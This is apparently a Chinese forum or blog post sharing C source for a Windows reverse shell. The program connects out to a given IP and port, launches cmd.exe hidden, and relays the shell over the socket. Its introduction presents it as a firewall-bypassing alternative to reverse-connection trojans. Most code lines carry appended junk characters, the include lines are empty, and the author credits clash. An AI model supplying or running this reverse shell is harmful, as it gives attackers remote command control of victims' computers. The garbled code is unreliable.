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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 3XncEdy_  
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/* ============================== [LV>z  
Rebound port in Windows NT ]v+yeGIKS  
By wind,2006/7 bJw{U.  
===============================*/ w 5t|C>  
#include Yq{R*HO  
#include 8RS@YO  
@R`Ao9n9V  
#pragma comment(lib,"wsock32.lib") 0])[\O`j  
[88PCA:  
void OutputShell(); d9l2mJzW  
SOCKET sClient; bu=RU  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; D&DbxTi  
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void main(int argc,char **argv) uu/2C \n}  
{ Ve xxdg  
WSADATA stWsaData; yMpZ-b$*~  
int nRet; Qn;,OB k  
SOCKADDR_IN stSaiClient,stSaiServer; ghTue*A  
O]oH}#5b  
if(argc != 3) N]F}Z#h  
{ F><ficT  
printf("Useage:\n\rRebound DestIP DestPort\n"); ]UGk"s5A  
return; x X.{(er  
} s'BlFB n  
w/9%C(w6  
WSAStartup(MAKEWORD(2,2),&stWsaData); K.b :ae^k  
j?\z5i""f  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); NC sem  
#1WCSLvtV  
stSaiClient.sin_family = AF_INET; Q9&H/]"v  
stSaiClient.sin_port = htons(0); fGWXUJ  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); vX&W;&  
/*t H$\6*  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) gOm8 O,  
{ {/qQ=$t  
printf("Bind Socket Failed!\n"); c IPOI'3d  
return; a.a ,_  
} P#[?Kfi  
>.uIp4@(  
stSaiServer.sin_family = AF_INET; |w5,%#AeO$  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); {T DZDH  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ((=T E  
g|tclBx  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *n6L3"cO  
{ |<MSV KW  
printf("Connect Error!"); F!-%v5.y  
return; Q07&7SH_  
} T9Fe!yVA  
OutputShell(); ?}(B8^  
} -wh  
Zg|l:^E  
void OutputShell() 4zZ.v"laVM  
{ x~](d8*=  
char szBuff[1024]; Vd'=Fe;eB  
SECURITY_ATTRIBUTES stSecurityAttributes; o.s(=iG  
OSVERSIONINFO stOsversionInfo; U.Y7]#P:  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; F45-M[z  
STARTUPINFO stStartupInfo; /<Z3x _c  
char *szShell; Y8N+v+V/  
PROCESS_INFORMATION stProcessInformation; PZI6{KOis  
unsigned long lBytesRead; m>*~ tP  
cM]ZYi  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); w: mm@8N  
ZKM@U?PK  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); RYdI$&]  
stSecurityAttributes.lpSecurityDescriptor = 0; {]$)dz5  
stSecurityAttributes.bInheritHandle = TRUE; 'X`W+=T$  
,hm&]  
oVW>PEgB-  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); -lR7 @S  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {BgJ=0g?  
Rr}m(e=  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); gMp' S  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oN`khS]_v0  
stStartupInfo.wShowWindow = SW_HIDE;  R*r"};  
stStartupInfo.hStdInput = hReadPipe; Pc<0kQg  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; uQ7lC~  
?# RhHD  
GetVersionEx(&stOsversionInfo); DWN9_*{  
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switch(stOsversionInfo.dwPlatformId) R`B} T<*  
{ #w:nj1{_  
case 1: gEw9<Y  
szShell = "command.com"; wJ"]H!r0  
break; 4um^7Ns)7  
default: (6b0rqPF  
szShell = "cmd.exe"; dnh~An 9  
break; fB]NEx|o~  
} ^]Z@H/]H  
7k00lKA\w  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); @uanej0q7  
|*Oi:)qt  
send(sClient,szMsg,77,0); }Yc5U,A;  
while(1) P'DcNMdw  
{ |kTq &^$  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); WBb*2  
if(lBytesRead) !Uv>>MCr  
{ l]gW_wUQd  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); f .$*9Fkw  
send(sClient,szBuff,lBytesRead,0); ZB} A^X  
} oxdX2"WwU  
else :Gew8G  
{ #%w)w R3  
lBytesRead=recv(sClient,szBuff,1024,0); >8b%*f8R  
if(lBytesRead<=0) break; d8U<V<H<  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); @4]{ZUV  
} ~O]{m,)n  
} {R_ <m$  
{'z$5<|  
return; ?7J::}R  
}
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